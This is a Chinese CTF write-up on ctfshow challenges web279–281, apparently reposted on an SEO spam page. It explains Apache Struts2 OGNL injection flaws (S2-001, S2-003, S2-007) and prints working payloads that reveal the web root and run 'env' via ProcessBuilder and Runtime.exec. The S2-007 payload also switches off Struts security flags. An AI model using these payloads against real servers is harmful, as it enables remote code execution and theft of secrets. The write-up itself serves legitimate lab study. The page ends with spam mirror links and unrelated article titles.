当前位置: 首页 > wzjs >正文

产品网站开发服务网站开发和微信开发需要什么人

产品网站开发服务,网站开发和微信开发需要什么人,网站制作 意向单,app资源网站开发web279 OGNL表达式三个符号%, #, $的含义 %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要…

web279

OGNL表达式三个符号%, #, $的含义

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要是在Struts 2配置文件中,引用OGNL表达式

S2-001

S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

可以直接在登录框测试一下 %{2-2} 可以发现返回了0, 说明执行了OGNL表达式解析

获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}// @org.apache.struts2.ServletActionContext@getRequest():
// 获取 HttpServletRequest 对象,即当前 HTTP 请求。// #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"):
// 获取 HttpServletResponse 对象,用于返回数据给客户端。// #req.getRealPath('/'):
// 获取 Web 应用的根目录// #response.println(...):
// 将根目录路径 打印 到 HTTP 响应中// #response.flush(), #response.close():
// 刷新并关闭响应流,确保数据返回给客户端。

在这里插入图片描述

命令执行查看环境变量env

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

new java.lang.ProcessBuilder(new java.lang.String[]{“env”})
创建 ProcessBuilder 对象,执行 env 命令, 查看环境变量
redirectErrorStream(true): 让标准错误流和标准输出流合并,避免丢失错误信息。
.start(): 启动进程,执行命令。
读取 env 命令输出
#b = #a.getInputStream(): 获取进程的标准输出流。
#c = new java.io.InputStreamReader(#b): 用 InputStreamReader 读取流内容。
#d = new java.io.BufferedReader(#c): 用 BufferedReader 进行缓存读取,提高效率。
#e = new char[50000]: 分配一个 50,000 字符的缓冲区(存储 env 命令的输出)。
#d.read(#e): 读取命令的输出到 #e 数组中。
返回执行结果
#f = #context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”): 获取 HttpServletResponse。
#f.getWriter().println(new java.lang.String(#e)):
将 env 命令的输出转换为字符串,并通过 HTTP 响应返回给攻击者。
#f.getWriter().flush(), #f.getWriter().close():
确保数据完全写入并关闭响应。

在这里插入图片描述

也可以使用相应的工具直接执行命令在这里插入图片描述

在这里插入图片描述

web280

s2-003
Struts2将HTTP的每个参数名解析为OGNL语句执行,而OGNL表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

找了一些poc, 没利用成功, 直接用工具吧
在这里插入图片描述

web281

S2-007漏洞一般出现在表单处。当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

#_memberAccess["allowStaticMethodAccess"] = true
allowStaticMethodAccess这个变量 默认是 false,禁止直接调用 Java 的静态方法。
设置为 true 后,允许直接调用 Java 的 Runtime、ProcessBuilder 等静态方法,可以执行任意命令。
#foo = new java.lang.Boolean("false"), #context["xwork.MethodAccessor.denyMethodExecution"] = #foo
xwork.MethodAccessor.denyMethodExecution是 XWork(Struts2 的核心库) 中的安全机制,防止方法执行。
默认是 true,表示禁止执行方法。
这里 将其设置为 false,解除安全限制,允许攻击者执行任意方法
@java.lang.Runtime@getRuntime().exec('env').getInputStream()
通过 Runtime.exec() 执行 env 命令
getInputStream()获取 env 命令的 标准输出,用于读取执行结果
@org.apache.commons.io.IOUtils@toString(...)
Apache Commons IO 库 的 IOUtils.toString() 方法可以 直接将 InputStream 转换为字符串。

在这里插入图片描述
在这里插入图片描述

直接用工具, 不过好像没看懂s2-007的, 用的是s2-016
在这里插入图片描述

参考文章

http://zepheyrrhome.fun/2024/10/14/ctfshow-java/

文章转载自:

http://jUSEtedj.kqpsj.cn
http://6M6EuHkI.kqpsj.cn
http://0uGKoDr3.kqpsj.cn
http://3foXiTBb.kqpsj.cn
http://Pf0Qs4u2.kqpsj.cn
http://rgESCYTh.kqpsj.cn
http://vU0cbi38.kqpsj.cn
http://8ufzac20.kqpsj.cn
http://gBchptFJ.kqpsj.cn
http://FMgD9rVS.kqpsj.cn
http://r19dUBiO.kqpsj.cn
http://Qm7RtBAy.kqpsj.cn
http://lCjoyilE.kqpsj.cn
http://o10X2Nvq.kqpsj.cn
http://MYs2Bqks.kqpsj.cn
http://wNBlGv4X.kqpsj.cn
http://fqbHSez8.kqpsj.cn
http://3IXt1Kla.kqpsj.cn
http://w1554KWR.kqpsj.cn
http://zTtnEX3V.kqpsj.cn
http://MyNsZIjs.kqpsj.cn
http://hqSiNSeZ.kqpsj.cn
http://6AvksEgr.kqpsj.cn
http://8GaMYhF3.kqpsj.cn
http://ro103bzd.kqpsj.cn
http://EZ4Z7MSZ.kqpsj.cn
http://ydRWNpig.kqpsj.cn
http://a1u3uxae.kqpsj.cn
http://KsY7PApZ.kqpsj.cn
http://Zedc6gUB.kqpsj.cn
http://www.dtcms.com/wzjs/764114.html

相关文章:

  • 贵州省建设厅住房和城乡建设官网朔州seo网站建设
  • 石家庄做网站排名公司哪家好企业融资风险及其防范措施
  • 盐城企业做网站网页升级紧急通知通知
  • 10个著名摄影网站网页微信客户端下载
  • 商标设计网站提供哪些服务免费国内linux服务器
  • 促销礼品网站建设三只松鼠网站谁做的
  • 黑山网站制作公司门户网站系统有哪些平台
  • 什么是单页面网站广告营销公司
  • 什么网站可以做2.5D场景网站建设易客
  • 做网站的框架组合长沙网站关键词排名推广公司
  • 包装设计网站哪个好用怎么做网站教程 建站视频
  • 做智能网站系统下载中方建设局网站
  • 济南手机网站定制费用外国人做那个视频网站吗
  • 旅游网站课程设计东莞长安做网站公司
  • 食品 技术支持 东莞网站建设咸阳网站建设多少钱
  • 一个空间怎么做两个网站 跳转德芙巧克力软文推广
  • 寺庙做网站怎么做简历的网站
  • 沂源手机网站建设公司娃哈哈网络营销策划方案
  • 如何做好区县外宣网站建设排版设计英文
  • 专业网站建设经费申请报告信息流广告投放是什么
  • 2017网站开发就业前景公司做网站的好处
  • 哈尔滨住房城乡建设局网站首页如何做伪原创文章网站
  • 中山快速建站合作seo的网站建设
  • 网站建设软件 优帮云whcms wordpress
  • wordpress电台绍兴seo计费
  • 手机网站模版 优帮云营销网站建设的原则
  • 兼职网站开发团队工作项目总结绵阳市网站建立
  • 那些小网站是哪里人做的wordpress心得体会
  • 家居企业网站建设流程公司广告百度推广
  • 网站访问速度慢的原因宁德网站建设公司